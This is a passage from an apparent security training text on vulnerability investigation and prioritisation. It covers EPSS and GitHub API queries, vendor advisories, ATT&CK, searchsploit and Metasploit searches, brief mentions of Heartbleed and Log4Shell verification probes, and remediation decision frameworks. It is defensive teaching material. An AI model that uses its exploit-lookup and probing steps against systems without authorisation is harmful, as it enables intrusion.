&lt;p&gt;&lt;strong&gt;The practical insight EPSS provides:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Research has shown that only about 2-5% of all published CVEs are actually exploited in the wild in any given period. Prioritizing remediation based purely on CVSS score means you are devoting resources to patching vulnerabilities that will likely never be exploited, while potentially missing lower-CVSS vulnerabilities that are actively being weaponized. EPSS helps distinguish between "this is theoretically severe" and "this is being actively attacked."&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Fetch EPSS score for a specific CVE&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://api.first.org/data/v1/epss?cve=CVE-2021-44228"&lt;/span&gt;

&lt;span class="c"&gt;# Fetch EPSS scores for multiple CVEs&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://api.first.org/data/v1/epss?cve=CVE-2021-44228,CVE-2017-0144,CVE-2019-0708"&lt;/span&gt;

&lt;span class="c"&gt;# Get CVEs with highest EPSS scores (top 100)&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://api.first.org/data/v1/epss?order=!epss&amp;amp;limit=100"&lt;/span&gt;

&lt;span class="c"&gt;# Get all CVEs with EPSS score above 0.9 (very high exploitation likelihood)&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://api.first.org/data/v1/epss?epss-gt=0.9&amp;amp;limit=500"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Vendor Security Advisories
&lt;/h3&gt;

&lt;p&gt;Every major software vendor publishes their own security advisories — formal documents describing vulnerabilities in their products, their severity, and the available remediation. These are some of the most authoritative and detailed vulnerability information sources available, because the vendor wrote the vulnerable code and knows it better than anyone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Microsoft Security Response Center (MSRC):&lt;/strong&gt; &lt;a href="https://msrc.microsoft.com/update-guide" rel="noopener noreferrer"&gt;https://msrc.microsoft.com/update-guide&lt;/a&gt;&lt;br&gt;&lt;br&gt;
Published monthly on Patch Tuesday (second Tuesday of each month). Contains every vulnerability addressed in that month's updates, with CVSS scores, affected versions, and remediation guidance. The CVE details here are often more detailed than NVD — Microsoft frequently includes FAQs about specific exploitation scenarios, whether exploitation has been observed in the wild, and whether the vulnerability is publicly known.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cisco Security Advisories:&lt;/strong&gt; &lt;a href="https://sec.cloudapps.cisco.com/security/center/publicationListing.x" rel="noopener noreferrer"&gt;https://sec.cloudapps.cisco.com/security/center/publicationListing.x&lt;/a&gt;&lt;br&gt;&lt;br&gt;
Cisco publishes advisories in a tiered severity system (Critical, High, Medium, Low) and includes details specific to their product ecosystem. For any Cisco network device vulnerability found during a scan, the Cisco advisory is the authoritative source for the correct workaround or upgrade path.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Red Hat Security Advisories:&lt;/strong&gt; &lt;a href="https://access.redhat.com/security/security-updates" rel="noopener noreferrer"&gt;https://access.redhat.com/security/security-updates&lt;/a&gt;&lt;br&gt;&lt;br&gt;
Red Hat's advisories are particularly valuable for understanding the impact of backported patches — Red Hat explicitly documents which backported fixes are included in each RHSA update, clarifying exactly which CVEs are addressed even when the version number has not changed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Apache Security Advisories:&lt;/strong&gt; &lt;a href="https://httpd.apache.org/security/vulnerabilities_24.html" rel="noopener noreferrer"&gt;https://httpd.apache.org/security/vulnerabilities_24.html&lt;/a&gt;&lt;br&gt;&lt;br&gt;
Direct from the Apache HTTP Server project — essential when investigating web server vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ubuntu Security Notices (USN):&lt;/strong&gt; &lt;a href="https://ubuntu.com/security/notices" rel="noopener noreferrer"&gt;https://ubuntu.com/security/notices&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Debian Security Advisories (DSA):&lt;/strong&gt; &lt;a href="https://www.debian.org/security" rel="noopener noreferrer"&gt;https://www.debian.org/security&lt;/a&gt;&lt;br&gt;&lt;br&gt;
Both provide package-level patch information that explains exactly which CVEs are addressed in each security update.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The habit of consulting vendor advisories:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When a scanner reports a vulnerability in vendor software, the sequence should be: NVD for the authoritative CVSS analysis, then the vendor advisory for the specific remediation path. The vendor advisory tells you the exact version to upgrade to, whether a workaround exists, and whether the vulnerability has been exploited in the wild (vendors sometimes report this in their advisories before it appears elsewhere).&lt;/p&gt;
&lt;h3&gt;
  
  
  PoC-in-GitHub and Research Resources
&lt;/h3&gt;

&lt;p&gt;The security research community publishes proof-of-concept code on GitHub almost immediately after major vulnerability disclosures. This code varies enormously in quality and intent — some is academic research, some is functional exploit code intended for authorized testing, and some is weaponized malware. A penetration tester needs to understand this ecosystem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GitHub vulnerability monitoring:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Search GitHub for PoC code for a specific CVE&lt;/span&gt;
&lt;span class="c"&gt;# This can be done via the GitHub API&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://api.github.com/search/repositories?q=CVE-2021-44228&amp;amp;sort=stars"&lt;/span&gt;

&lt;span class="c"&gt;# GitHub has also introduced a Security Advisories database&lt;/span&gt;
&lt;span class="c"&gt;# accessible via: https://github.com/advisories&lt;/span&gt;
&lt;span class="c"&gt;# This is particularly valuable for open-source ecosystem vulnerabilities&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security research blogs worth following:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Google Project Zero (&lt;a href="https://googleprojectzero.blogspot.com" rel="noopener noreferrer"&gt;https://googleprojectzero.blogspot.com&lt;/a&gt;) publishes deep technical analysis of zero-day vulnerabilities discovered by Google's elite research team. Their write-ups are technically demanding but represent the state of the art in vulnerability research.&lt;/p&gt;

&lt;p&gt;Qualys ThreatLabs (&lt;a href="https://blog.qualys.com/vulnerabilities-threat-research" rel="noopener noreferrer"&gt;https://blog.qualys.com/vulnerabilities-threat-research&lt;/a&gt;) publishes rapid analysis of newly disclosed vulnerabilities, often within hours of public disclosure.&lt;/p&gt;

&lt;p&gt;Tenable Research (&lt;a href="https://www.tenable.com/blog" rel="noopener noreferrer"&gt;https://www.tenable.com/blog&lt;/a&gt;) publishes both vulnerability analysis and scanner plugin development context — useful for understanding exactly what the scanner is checking.&lt;/p&gt;

&lt;h3&gt;
  
  
  MITRE ATT&amp;amp;CK Framework
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;URL:&lt;/strong&gt; &lt;a href="https://attack.mitre.org" rel="noopener noreferrer"&gt;https://attack.mitre.org&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Maintained by:&lt;/strong&gt; MITRE Corporation&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; A knowledge base of adversary tactics, techniques, and procedures (TTPs) derived from real-world observations of attacker behavior.&lt;/p&gt;

&lt;p&gt;ATT&amp;amp;CK is different from the CVE/CWE ecosystem in a fundamental way: while CVE describes specific vulnerabilities and CWE describes weakness classes, ATT&amp;amp;CK describes what attackers &lt;em&gt;do&lt;/em&gt; with vulnerabilities — the actions, movements, and techniques observed in real intrusions.&lt;/p&gt;

&lt;p&gt;ATT&amp;amp;CK organizes attacker behavior into 14 Tactics (the high-level goals like Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, and Impact). Each tactic contains multiple Techniques describing specific methods attackers use to achieve that goal.&lt;/p&gt;

&lt;p&gt;For vulnerability analysis, ATT&amp;amp;CK provides context. When you find a vulnerability, ATT&amp;amp;CK helps you understand which ATT&amp;amp;CK techniques it enables. EternalBlue (CVE-2017-0144) maps to T1210 (Exploitation of Remote Services) under Lateral Movement — understanding this tells you that finding EternalBlue not just on externally exposed systems but on internal Windows hosts is critical, because it enables attacker lateral movement across the internal network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MITRE D3FEND:&lt;/strong&gt; The defensive counterpart to ATT&amp;amp;CK, MITRE D3FEND (&lt;a href="https://d3fend.mitre.org" rel="noopener noreferrer"&gt;https://d3fend.mitre.org&lt;/a&gt;) maps defensive countermeasures to ATT&amp;amp;CK techniques. For each ATT&amp;amp;CK technique an attacker might use to exploit a vulnerability, D3FEND identifies what defensive controls (network segmentation, authentication hardening, endpoint monitoring) would detect or prevent it.&lt;/p&gt;
&lt;h3&gt;
  
  
  Threat Intelligence Platforms — Commercial and Open Source
&lt;/h3&gt;

&lt;p&gt;Beyond the standard databases, commercial and open-source threat intelligence platforms provide enriched, real-time vulnerability intelligence that integrates multiple data sources.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VirusTotal Intelligence:&lt;/strong&gt; Beyond its malware scanning function, VirusTotal maintains a large dataset of vulnerability-related intelligence — which malware families exploit which CVEs, which threat actor groups are associated with which vulnerabilities, and how widely a vulnerability is being exploited.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shodan CVE Search:&lt;/strong&gt; Shodan maintains data on vulnerable internet-exposed systems and can show you how many internet-facing hosts are running versions vulnerable to specific CVEs. This helps contextualize findings: finding Log4Shell on an internal server is serious, but knowing that 100,000 internet-facing servers are also vulnerable helps communicate the broader threat landscape.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GreyNoise:&lt;/strong&gt; Aggregates and analyzes internet-wide scanner activity to distinguish between mass exploitation (attackers scanning everything) and targeted attacks. When you see a GreyNoise tag on a CVE indicating mass scanning, it means opportunistic attackers are already actively probing for this vulnerability at internet scale.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Recorded Future, Mandiant Advantage, CrowdStrike Falcon Intelligence:&lt;/strong&gt; Commercial threat intelligence platforms that provide attribution, campaign tracking, and deeper analysis of which threat actor groups are using which vulnerabilities. Used in enterprise security operations and red team engagements that require threat-actor-specific context.&lt;/p&gt;


&lt;h2&gt;
  
  
  3.4.3 Investigating Vulnerability Information — Professional Workflow
&lt;/h2&gt;
&lt;h3&gt;
  
  
  The Vulnerability Investigation Process
&lt;/h3&gt;

&lt;p&gt;When a scanner reports a finding, the professional investigation process follows a consistent sequence that ensures every significant finding is fully understood before any action is taken.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Extract the precise version information&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The scanner's finding includes the CVE identifier and usually the version that triggered the finding. Start by confirming: is the version information accurate? What is the exact version of the software running, and how was it determined?&lt;/p&gt;

&lt;p&gt;For a web server, confirm the version via multiple methods: the HTTP Server header, the page source (some CMSes disclose versions in meta tags), version-specific behavior fingerprinting (some features only appear in specific versions), and if you have system access, the package manager:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Linux: Check installed package version&lt;/span&gt;
dpkg &lt;span class="nt"&gt;-l&lt;/span&gt; apache2           &lt;span class="c"&gt;# Debian/Ubuntu&lt;/span&gt;
rpm &lt;span class="nt"&gt;-qa&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;httpd      &lt;span class="c"&gt;# Red Hat/CentOS&lt;/span&gt;
apt-cache policy apache2  &lt;span class="c"&gt;# Ubuntu: shows installed and candidate versions&lt;/span&gt;

&lt;span class="c"&gt;# Check for backported patches specifically&lt;/span&gt;
apt-cache show apache2 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; changelog
&lt;span class="c"&gt;# Or look at the full changelog&lt;/span&gt;
zcat /usr/share/doc/apache2/changelog.Debian.gz | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-50&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2: Look up the CVE in NVD&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Go to &lt;a href="https://nvd.nist.gov/vuln/detail/%5BCVE-ID%5D" rel="noopener noreferrer"&gt;https://nvd.nist.gov/vuln/detail/[CVE-ID]&lt;/a&gt; and read the complete record. Note the CVSS vector string (not just the score), the CWE classification, and all the reference links. If the CVSS vector says &lt;code&gt;PR:H&lt;/code&gt; (Privileges Required: High), the vulnerability requires administrator access to exploit — this is a critical detail that changes the risk calculation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Check the vendor advisory&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Find the official vendor security advisory for this CVE. The vendor advisory is the authoritative statement on: which exact versions are affected, whether the vulnerability has been exploited in the wild, what the remediation is (specific version to upgrade to), and whether any workarounds exist.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Check CISA KEV&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Is this CVE in the CISA Known Exploited Vulnerabilities catalog? If yes, there is confirmed evidence of active exploitation — this finding gets elevated priority regardless of CVSS score.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5: Check EPSS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;What is the EPSS score? A high EPSS score (particularly above 0.5) combined with a KEV listing is the strongest possible signal for immediate remediation. A low EPSS score (below 0.1) on a high-CVSS vulnerability suggests it remains theoretical — still worth addressing but with less urgency.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 6: Check Exploit-DB and Metasploit&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check for public exploits&lt;/span&gt;
searchsploit CVE-2021-44228
searchsploit &lt;span class="nt"&gt;-j&lt;/span&gt; CVE-2021-44228  &lt;span class="c"&gt;# JSON output&lt;/span&gt;

&lt;span class="c"&gt;# Check Metasploit&lt;/span&gt;
msfconsole &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="s2"&gt;"search CVE-2021-44228; exit"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a Metasploit module exists with an "Excellent" or "Great" reliability rating, exploitation is accessible to anyone with basic penetration testing skills.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 7: Verify the finding manually if possible&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Depending on the engagement scope and the type of finding, attempt to verify the vulnerability manually. For a Heartbleed finding, send the crafted TLS heartbeat probe and observe the response. For a Log4Shell finding, send a JNDI lookup probe and monitor your callback server for a DNS request. For an EternalBlue finding, use the Metasploit &lt;code&gt;smb-vuln-ms17-010&lt;/code&gt; scanner auxiliary module (not the exploit).&lt;/p&gt;

&lt;p&gt;Manual verification converts a potential finding into a confirmed finding, which is a fundamental difference in a penetration test report.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 8: Document everything&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Every step of this investigation should be documented: what you found, what sources you consulted, what evidence you gathered, what you concluded, and whether the finding is confirmed or suspected. This documentation is the foundation of your report.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Practical Investigation Example
&lt;/h3&gt;

&lt;p&gt;Suppose your OpenVAS scan reports this finding on host 10.10.10.50:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"OpenSSH 7.4 – Username Enumeration (CVE-2018-15919)" — CVSS 5.3 — Medium&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Here is how the investigation proceeds:&lt;/p&gt;

&lt;p&gt;First, you look up CVE-2018-15919 in NVD. The vector string is &lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N&lt;/code&gt; — network exploitable, low complexity, no privileges or user interaction required, but only low confidentiality impact with no integrity or availability impact. Score: 5.3. The CWE is CWE-203 (Observable Discrepancy) — the server responds differently to valid vs. invalid usernames during authentication attempts.&lt;/p&gt;

&lt;p&gt;Second, you check whether this host is publicly accessible. It is SSH on an internal management server, reachable only from the management VLAN. An external attacker cannot reach it.&lt;/p&gt;

&lt;p&gt;Third, you check CISA KEV. CVE-2018-15919 is not in the catalog.&lt;/p&gt;

&lt;p&gt;Fourth, you check EPSS. Score: 0.002 (0.2% exploitation probability). This is low.&lt;/p&gt;

&lt;p&gt;Fifth, you check Exploit-DB. There is a public PoC demonstrating username enumeration. There is no Metasploit module.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Your analysis conclusion:&lt;/strong&gt; This is a real vulnerability. However, the network location (internal management VLAN only) limits the attack surface dramatically. An attacker would need to be on the management VLAN to exploit it, and by that point they likely have more impactful attack paths available. It is a valid Medium finding — it enables username enumeration for credential attacks against SSH — but it is not a priority remediation target compared to the Critical findings elsewhere in the assessment.&lt;/p&gt;

&lt;p&gt;This analysis takes perhaps ten minutes. The conclusion is meaningfully different from "CVSS 5.3 → Medium → patch next quarter" because it incorporates context the scanner cannot know.&lt;/p&gt;




&lt;h2&gt;
  
  
  3.4.4 How to Deal with a Vulnerability — The Full Decision Framework
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Four Responses to a Confirmed Vulnerability
&lt;/h3&gt;

&lt;p&gt;When a vulnerability has been confirmed and fully analyzed, there are exactly four ways an organization can respond. Every vulnerability that is not addressed by patching falls into one of the other three categories — and all four require explicit documentation and owner accountability.&lt;/p&gt;

&lt;p&gt;Understanding these four options is fundamental to professional vulnerability management and penetration testing reporting. Your recommendations to clients must acknowledge that patching is not always immediately possible and guide them through the complete decision framework.&lt;/p&gt;

&lt;h3&gt;
  
  
  Response 1: Remediation (Patching and Configuration Fixes)
&lt;/h3&gt;

&lt;p&gt;Remediation means eliminating the vulnerability. The primary form is patching — applying the vendor-released software update that fixes the vulnerability. But remediation also includes configuration changes that remove the vulnerable condition without requiring a software update.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Software patching:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Patching sounds simple in principle. In practice, it involves multiple steps that cannot be skipped without risking production disruption:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Testing before production deployment&lt;/strong&gt; is non-negotiable for any system with business-critical dependencies. A patch that breaks application compatibility creates its own incident. The test environment should match production as closely as possible — same OS version, same application version, same dependent libraries. Apply the patch to the test environment first, run the application's full test suite, confirm nothing breaks, and only then proceed to production.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Patch deployment process&lt;/strong&gt; in a managed enterprise environment goes through a formal change management workflow: change request, technical review, approval, scheduled maintenance window, deployment, rollback plan, and post-deployment verification. A penetration test report that recommends patching without acknowledging this process is not providing actionable guidance — it is providing an aspiration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Emergency patching&lt;/strong&gt; for Critical/KEV vulnerabilities compresses this timeline. An organization's security policy should define an expedited patching process for Critical vulnerabilities — perhaps a 48-72 hour process that skips some normal change management bureaucracy while maintaining essential safeguards. The default patch management SLA (which might be "30 days for critical") is not appropriate for a vulnerability being actively exploited in the wild.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Configuration-based remediation:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Some vulnerabilities can be addressed without patching, by reconfiguring the service to eliminate the vulnerable behavior:&lt;/p&gt;

&lt;p&gt;Disabling a vulnerable feature (SSL 2.0, TLS 1.0, SNMP v1, anonymous LDAP binding, FTP, Telnet — none of these need to be running in a secure environment).&lt;/p&gt;

&lt;p&gt;Restricting network access so the vulnerable service cannot be reached by unauthorized parties (firewall rules, network segmentation).&lt;/p&gt;

&lt;p&gt;Removing an unnecessary service entirely — if a service is not needed, removing it is better than patching it.&lt;/p&gt;

&lt;p&gt;Enabling authentication on a service that was running without it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The configuration remediation advantage:&lt;/strong&gt; These changes can often be implemented immediately without waiting for a vendor patch or going through the full patch testing cycle. When a critical vulnerability has no available patch (zero-day scenario) or when patching would break critical functionality, configuration changes may be the fastest available remediation path.&lt;/p&gt;

&lt;h3&gt;
  
  
  Response 2: Mitigation (Compensating Controls)
&lt;/h3&gt;

&lt;p&gt;Mitigation does not eliminate the vulnerability but reduces the likelihood or impact of exploitation. Compensating controls are the mitigations implemented when immediate remediation is not possible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Common compensating controls:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Network segmentation and firewall rules:&lt;/strong&gt; If a vulnerable service cannot be immediately patched, restrict network access so only authorized systems can reach it. A vulnerable database server that can only be reached from application servers — not from the internet or from end-user workstations — has a dramatically reduced exposure even if the database software itself remains unpatched.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Web Application Firewalls (WAF):&lt;/strong&gt; A WAF can detect and block exploit payloads before they reach a vulnerable application. When a zero-day web application vulnerability is disclosed and no patch is available, vendors often publish WAF rules as temporary protection while the patch is developed and tested. This is not a permanent solution — WAF rules can be bypassed — but it buys time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Intrusion Detection and Prevention Systems (IDS/IPS):&lt;/strong&gt; If exploitation of a vulnerability produces distinctive network signatures, an IDS/IPS with updated rules can detect and block exploitation attempts. The limitation is that sophisticated attackers modify their exploit code specifically to evade IDS signatures.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Disabling specific features without full patching:&lt;/strong&gt; Some vulnerabilities only affect specific features or configurations. If the vulnerable feature is not needed, disabling it eliminates the attack vector without requiring the full software update.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Enhanced monitoring:&lt;/strong&gt; When a vulnerability cannot be immediately patched and compensating controls are limited, increasing monitoring around the vulnerable asset provides earlier detection of exploitation. This does not prevent the attack but reduces the response time — in security, detection speed is a meaningful security metric.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The important limitation of compensating controls:&lt;/strong&gt; They are temporary and partial. Every organization that implements a compensating control instead of patching must document:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The vulnerability being mitigated&lt;/li&gt;
&lt;li&gt;The compensating control implemented&lt;/li&gt;
&lt;li&gt;The residual risk that remains&lt;/li&gt;
&lt;li&gt;The timeline for actual remediation&lt;/li&gt;
&lt;li&gt;The person accountable for driving remediation to completion&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Without this documentation and accountability, compensating controls become indefinite deferrals — and deferred vulnerabilities eventually become breach vectors.&lt;/p&gt;

&lt;h3&gt;
  
  
  Response 3: Risk Acceptance
&lt;/h3&gt;

&lt;p&gt;Risk acceptance means explicitly deciding not to remediate a vulnerability and formally accepting the residual risk. This is a legitimate business decision in specific circumstances, but it must be explicit, documented, and authorized at an appropriate level of the organization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When risk acceptance is appropriate:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;End-of-life systems scheduled for retirement:&lt;/strong&gt; If a system with a critical vulnerability is scheduled to be decommissioned in 30 days, the business case for emergency patching is weak. The remediation effort and risk of production disruption from patching may be greater than the risk of exploitation during the 30-day retirement period — particularly if compensating network controls restrict access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cost-prohibitive remediation:&lt;/strong&gt; Occasionally the remediation pathway for a vulnerability is technically complex, has a high risk of breaking critical functionality, or requires significant architectural changes that cannot be implemented quickly. If the business cost of remediation exceeds the business risk of the vulnerability, risk acceptance may be appropriate — but this decision must be made by senior leadership with clear visibility into the risks they are accepting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Very low EPSS and no realistic attack path:&lt;/strong&gt; A vulnerability in an internal system with no realistic external attack path, a very low EPSS score, and no known exploitation in the wild may be appropriate for risk acceptance with compensating controls. This is not a justification for laziness — it is a proportionality calculation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What risk acceptance is NOT:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Risk acceptance is not the same as ignoring a finding. The distinction is documentation and authorization:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;An ignored finding: nobody documented it, nobody decided to accept the risk, nobody is monitoring it, nobody knows whether it was ever addressed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A risk-accepted finding: documented in the risk register, formally approved by the CISO or a designated risk authority, compensating controls identified and implemented, monitoring established, and a review date set to reassess whether the accepted risk level remains appropriate.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In PCI DSS environments, risk acceptance for findings in the Cardholder Data Environment requires formal documentation and may require QSA review. In HIPAA environments, risk acceptance for ePHI-related vulnerabilities must be part of the formal risk analysis and risk management plan.&lt;/p&gt;

&lt;h3&gt;
  
  
  Response 4: Transfer (Risk Transfer)
&lt;/h3&gt;

&lt;p&gt;Risk transfer moves the financial consequence of a vulnerability's exploitation to a third party — typically through cybersecurity insurance (cyber liability insurance). The vulnerability itself is not eliminated, but if exploitation results in a breach with financial consequences (incident response costs, notification costs, regulatory fines, business interruption), the insurance policy covers those costs up to the policy limit.&lt;/p&gt;

&lt;p&gt;Risk transfer is a legitimate part of a comprehensive risk management program, but it has important limitations in the context of vulnerability management:&lt;/p&gt;

&lt;p&gt;Cyber insurance underwriters increasingly require organizations to demonstrate baseline security hygiene before issuing policies. Unpatched Critical and High vulnerabilities — particularly KEV-listed ones — may result in policy denial or exclusion clauses. If you suffer a breach through a KEV-listed vulnerability that you knew about and did not patch, many cyber insurance policies will not pay out.&lt;/p&gt;

&lt;p&gt;Risk transfer does not protect reputation. The financial cost of a breach may be covered by insurance, but the reputational damage, customer trust erosion, and regulatory scrutiny that follows a publicly disclosed breach cannot be transferred.&lt;/p&gt;

&lt;p&gt;Risk transfer does not stop the attack. The breach still occurs, customer data is still compromised, operations are still disrupted — insurance covers the cleanup costs after the fact, not the harm caused during the incident.&lt;/p&gt;

&lt;p&gt;In the context of a penetration test report, risk transfer is rarely a recommendation for specific technical vulnerabilities. It is a strategic-level recommendation for the overall security program — "we recommend ensuring your cyber liability insurance policy covers incidents arising from vulnerabilities in externally-accessible systems."&lt;/p&gt;

&lt;h3&gt;
  
  
  The Prioritization Matrix — Making Decisions Under Pressure
&lt;/h3&gt;

&lt;p&gt;In a real organization, there are always more vulnerabilities than there are resources to remediate them. A mature vulnerability management program needs a principled way to decide which vulnerabilities get resources first when everything cannot be patched simultaneously.&lt;/p&gt;

&lt;p&gt;The professional prioritization framework combines four dimensions:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt; (from CVSS): How bad is the vulnerability in the theoretical worst case?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exploitation likelihood&lt;/strong&gt; (from EPSS + KEV + Exploit availability): How likely is this vulnerability to be actually exploited?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Asset criticality&lt;/strong&gt;: How important is the affected system to business operations? A vulnerability in the payment processing system demands more urgent attention than the same vulnerability in an employee blog.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exposure&lt;/strong&gt;: Is the affected service publicly accessible from the internet? Or is it accessible only internally, or only from specific management networks?&lt;/p&gt;

&lt;p&gt;These four dimensions create a prioritization matrix. The highest-priority vulnerabilities are those that score high on all four: Critical CVSS, high EPSS, on a business-critical system, and internet-facing. The lowest-priority are those that score low on all four: Low CVSS, very low EPSS, on a non-critical system, with no external exposure.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Priority Level&lt;/th&gt;
&lt;th&gt;Criteria&lt;/th&gt;
&lt;th&gt;Typical Response Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Immediate&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Critical/High CVSS + KEV listed + internet-facing&lt;/td&gt;
&lt;td&gt;24–72 hours&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Urgent&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Critical CVSS + EPSS &amp;gt; 0.5 + business-critical asset&lt;/td&gt;
&lt;td&gt;7 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;High&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;High CVSS + exploit available + production system&lt;/td&gt;
&lt;td&gt;14 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Standard&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium–High CVSS + limited exposure&lt;/td&gt;
&lt;td&gt;30 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Planned&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low–Medium CVSS + internal only + low EPSS&lt;/td&gt;
&lt;td&gt;Next maintenance cycle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Accept/Monitor&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low CVSS + very low EPSS + non-critical asset&lt;/td&gt;
&lt;td&gt;Risk acceptance with monitoring&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
